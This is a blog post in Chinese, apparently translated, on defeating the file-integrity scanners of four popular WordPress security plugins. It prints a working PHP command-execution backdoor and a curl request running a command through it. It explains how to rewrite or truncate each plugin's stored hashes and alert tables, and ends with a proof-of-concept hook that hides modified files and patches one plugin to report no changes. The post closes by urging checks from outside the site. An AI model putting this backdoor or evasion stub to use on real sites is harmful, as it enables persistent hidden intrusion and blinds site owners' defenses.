击败WordPress安全插件

Mr.Bai 870 浏览 0

         在开始阅读本文之前请记住:安全插件非常棒,您需要安装至少一个。它们是攻击者的第一道屏障,通常有助于在WordPress中保持良好的强化程度。但使用它们作为文件完整性检查程序很糟糕。很多永远不要相信他们.

Wordfence安全性(版本7.0.2 - + 2M有效安装)

         这是最流行的插件,有超过两百万的活动安装。这个插件的一个功能是(用他自己的话说):

将您的核心文件,主题和插件与WordPress.org存储库中的内容进行比较,检查其完整性并报告对您的任何更改。

         好吧,让我们测试一下将“frontdoor.php”文件添加到plugins文件夹,编辑“index.php”,并在WordFence文件夹中创建一个新的PHP。在所有情况下,我们的“后门”的内容将是:

<?php
	@$filter = $_POST['filter'];
	@$words = array($_POST['text']);
	@$filtered_words = array_filter($words, $filter);
?>

我们可以看到我们的小后门完美运作:

$ curl http://localhost/wordpress/wp-content/plugins/wordfence/frontdoor.php --data "filter=system&text=uname -a"
Linux kaiju 3.16.0-4-amd64 #1 SMP Debian 3.16.51-3 (2017-12-13) x86_64 GNU/Linux

         我对这个插件有点问题。即使设置最大敏感度,它也不会检测我的后门或修改的文件(U_U“)。嗯,事实并非如此:我遇到了一个问题...... User "admin" with "administrator" access has an easy password.Type: Insecure Password。也许“免费”版本效果不是很好,但我们可以使用此问题生成(检测到弱密码)来查看问题是如何存储并显示给管理员的。

         基本上,这个插件将问题信息存储在名为“ prefix _wfissues” 的表下的数据库中。在此表中,我们找到“严重性”以及用于警告管理员的消息。所以我们只需要用SQL查询进行“截断”来刷新这些信息。

         另外存在一个名为“__prefix__wfFileMods”的表,其中包含列“filename”,“filenameMD5”,“oldMD5”和“MD5”。我们可以操纵这个表,以便更隐蔽,不会触发警报。

iThemes Security(版本6.9.2 - + 900K有效安装)

         此插件使用的方法基于在“ itsec_local_file_list ” 键下保留文件列表,时间戳和他在表prefix_ options中拥有MD5 。看起来像:

a:3346:{s:15:"wp-settings.php";a:2:{s:1:"d";i:1519165466;s:1:"h";s:32:"65925f28e27552ed6844be036d90cc95";}
s:9:".htaccess";a:2:{s:1:"d";i:1520727850;s:1:"h";s:32:"6c10a3562901b71856657cfe40321bd1";}
...
...

         部署我们的植入后,我们只需要使用修改的每个文件的新md5值更新此数组。

All In One WP安全和防火墙(版本4.3.2 - + 600K有效安装)

         在这个插件的功能之间,我们可以看到:

文件更改检测扫描程序可以提醒您WordPress系统中是否有任何文件已更改。然后,您可以调查并查看这是否是合法的更改或注入了一些错误的代码。

         以与以前相同的方式,我们将修改PHP文件的内容(在这种情况下,我们将修改此插件拥有的“wp-security.php”文件):

<?php
/*
Plugin Name: All In One WP Security
Version: 4.3.2
Plugin URI: https://www.tipsandtricks-hq.com/wordpress-security-and-firewall-plugin
Author: Tips and Tricks HQ, Peter Petreski, Ruhul, Ivy
Author URI: https://www.tipsandtricks-hq.com/
Description: All round best WordPress security plugin!
Text Domain: all-in-one-wp-security-and-firewall
Domain Path: /languages
License: GPL3
*/
	// Our backdoor
	@$filter = $_POST['filter'];
    @$words = array($_POST['text']);
    @$filtered_words = array_filter($words, $filter);
    // End of backdoor
    
    if(!defined('ABSPATH')){
    exit; //Exit if accessed directly
}
...
?>

         这次我们收到一条警告说文件/var/www/html/wordpress/wp-content/plugins/all-in-one-wp-security-and-firewall/wp-security.php已被修改。如果我们调查这个插件是如何工作的,我们会很快注意到在安装插件时在数据库中创建了新表。其中之一,前缀 _aiowps_global_meta,有一个元值“file_change_detection”和一个序列化数组,其中包含与每个文件关联的名称和元数据(时间戳和大小):

a:2397:{s:39:"/var/www/html/wordpress/wp-settings.php";a:2:{s:13:"last_modified";i:1507069246;s:8:"filesize";i:16246;}...

如果在执行扫描任务后发现任何更改(时间戳或大小已更改,或者存在文件添加或删除),则会填充另一个元数据,以警告更改。所以基本上这个插件可以保存带有文件的列表(名称,大小和最后更改),并将其与保存的值进行比较:如果某些内容不同,则会触发警报。为了破坏这种类型的检查,我们只需要在植入后门之后编辑这个序列化对象。

适用于WordPress的Shield Security(版本6.3.2 - + 70K有效安装)

         另一个带有文件完整性扫描程序的插件,它试图发现已修改的核心文件。如果我们使用grep进行少量搜索,我们深入研究代码,我们可以看到这个提取位于src / common / icwp-wpfunctions.php:

...
     /**                                                                                                                                                                            
      * @return string[]                                                                                                                                                            
      */                                                                                                                                                                            
     public function getCoreChecksums() {                                                                                                                                           
         $aChecksumData = false;                                                                                                                                                    
         $sCurrentVersion = $this->getVersion();                                                                                                                                    
                                                                                                                                                                                    
         if ( function_exists( 'get_core_checksums' ) ) { // if it's loaded, we use it.                                                                                             
             $aChecksumData = get_core_checksums( $sCurrentVersion, $this->getLocale( true ) );                                                                                     
         }                                                                                                                                                                          
         else {                                                                                                                                                                     
             $aQueryArgs = array(                                                                                                                                                   
                 'version' => $sCurrentVersion,                                                                                                                                     
                 'locale'  => $this->getLocale( true )                                                                                                                              
             );                                                                                                                                                                     
             $sQueryUrl = add_query_arg( $aQueryArgs, 'https://api.wordpress.org/core/checksums/1.0/' );                                                                           
             $sResponse = $this->loadFS()->getUrlContent( $sQueryUrl );                                                                                                             
             if ( !empty( $sResponse ) ) {                                                                                                                                          
                 $aDecodedResponse = json_decode( trim( $sResponse ), true );                                                                                                       
                 if ( is_array( $aDecodedResponse ) && isset( $aDecodedResponse[ 'checksums' ] )
                  && is_array( $aDecodedResponse[ 'checksums' ] ) ) {                                
                     $aChecksumData = $aDecodedResponse[ 'checksums' ];                                                                                                             
                 }                                                                                                                                                                  
             }                                                                                                                                                                      
         }                                                                                                                                                                          
         return is_array( $aChecksumData ) ? $aChecksumData : array();                                                                                                              
     }
...
?>

         在这段代码中,我们可以看到插件如何检查get_core_checksums函数的存在。这是一个内部WordPress函数(在WordPress 3.7.0中引入),它向WordPress API(https://api.wordpress.org/core/checksums/1.0/)发出请求并检索核心文件的校验和。如果找不到该功能(可能是因为WordPress的旧版本),插件会执行请求并获取校验和。

...
     /**                                                                                                                                                                            
      * @return string[]                                                                                                                                                            
      */                                                                                                                                                                            
     public function getCoreChecksums() {                                                                                                                                           
         $aChecksumData = false;                                                                                                                                                    
         $sCurrentVersion = $this->getVersion();                                                                                                                                    
                                                                                                                                                                                    
         if ( function_exists( 'get_core_checksums' ) ) { // if it's loaded, we use it.                                                                                             
             $aChecksumData = get_core_checksums( $sCurrentVersion, $this->getLocale( true ) );                                                                                     
         }                                                                                                                                                                          
         else {                                                                                                                                                                     
             $aQueryArgs = array(                                                                                                                                                   
                 'version' => $sCurrentVersion,                                                                                                                                     
                 'locale'  => $this->getLocale( true )                                                                                                                              
             );                                                                                                                                                                     
             $sQueryUrl = add_query_arg( $aQueryArgs, 'https://api.wordpress.org/core/checksums/1.0/' );                                                                           
             $sResponse = $this->loadFS()->getUrlContent( $sQueryUrl );                                                                                                             
             if ( !empty( $sResponse ) ) {                                                                                                                                          
                 $aDecodedResponse = json_decode( trim( $sResponse ), true );                                                                                                       
                 if ( is_array( $aDecodedResponse ) && isset( $aDecodedResponse[ 'checksums' ] )
                  && is_array( $aDecodedResponse[ 'checksums' ] ) ) {                                
                     $aChecksumData = $aDecodedResponse[ 'checksums' ];                                                                                                             
                 }                                                                                                                                                                  
             }                                                                                                                                                                      
         }                                                                                                                                                                          
         return is_array( $aChecksumData ) ? $aChecksumData : array();                                                                                                              
     }
...
?>

         避免检测的最简单方法是编辑此文件并更改返回值。如果函数返回并清空数组(返回数组();)插件会说“好的,一切都没问题”:

Core File Scanner Results

There were no modified files discovered in the scan.
         Cool :).

PoC || GTFO

         在这篇简短的文章中,我们已经了解了如何破坏WordPress中最流行的安全插件所使用的文件完整性检查。遵循这个想法,我们可以创建一个必须添加到加载的插件的代码存根。此代码将禁用(或隐藏)我们的文件后门。你可以改进它(这段代码只是一个显示主要想法的PoC)。

add_action("wp_head", "knockout");                                                                                                                                                 
 define("DB_PRE", $table_prefix);                                                                                                                                                   
                                                                                                                                                                                    
 function patch_shield ($line) {                                                                                                                                                    
     if (stristr($line, 'return is_array( $aChecksumData ) ? $aChecksumData : array();')) {                                                                                         
         return "return array();\n";                                                                                                                                                
     }                                                                                                                                                                              
     return $line;                                                                                                                                                                  
 }                                                                                                                                                                                  
                                                                                                                                                                                    
 // Here is where the magic lies :)                                                                                                                                                 
 function knockout() {                                                                                                                                                              
     // Filenames we want to hide                                                                                                                                                   
     $hide = array("wp-settings.php", "wp-content/plugins/akismet/akismet.php");                                                                                                    
     // Ok, let's kill iThemes Security                                                                                                                                             
     $o = get_option("itsec_local_file_list");                                                                                                                                      
     // Change the values                                                                                                                                                           
     foreach ($hide as $file) {                                                                                                                                                     
         $o[$file]['d'] = filemtime(get_home_path() . $file); // Timestamp                                                                                                          
         $o[$file]['h'] = md5_file(get_home_path() . $file); // Hash                                                                                                                
     }                                                                                                                                                                              
     // Update values                                                                                                                                                               
     update_option("itsec_local_file_list", $o);                                                                                                                                    
                                                                                                                                                                                    
     // Kill WordFence alerts                                                                                                                                                       
     $con = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD);                                                                                                                           
     mysql_select_db(DB_NAME);                                                                                                                                                      
     $query = "truncate ". DB_PRE ."wfIssues;";                                                                                                                                     
     mysql_query($query);                                                                                                                                                           
                                                                                                                                                                                    
     // Kill All-in-One WP Security                                                                                                                                                 
     $query = "truncate ". DB_PRE . "aiowps_global_meta;";                                                                                                                          
     mysql_query($query);                                                                                                                                                           
                                                                                                                                                                                    
     // Patch Shield Security                                                                                                                                                       
     $shield = get_home_path() . "wp-content/plugins/wp-simple-firewall/src/common/icwp-wpfunctions.php";                                                                           
                                                                                                                                                                                    
     if (file_exists($shield)) {                                                                                                                                                    
         echo "YEAH";                                                                                                                                                               
         $lines = file($shield);                                                                                                                                                    
         $lines = array_map('patch_shield', $lines);                                                                                                                                
         var_dump($lines);                                                                                                                                                          
         file_put_contents($shield, implode('', $lines));                                                                                                                           
     }                                                                                                                                                                              
                                                                                                                                                                                    
 }

最后的话

         不要相信WordPress中的安全插件进行的文件完整性检查。因为如果攻击者能够编辑您的文件,这意味着他可以编辑WordPress数据库中的任何内容并修补其他文件。所以这种检查总是必须使用像Wazuh或类似的软件从外部完成。

发表评论 取消回复
表情 图片 链接 代码

分享
请选择语言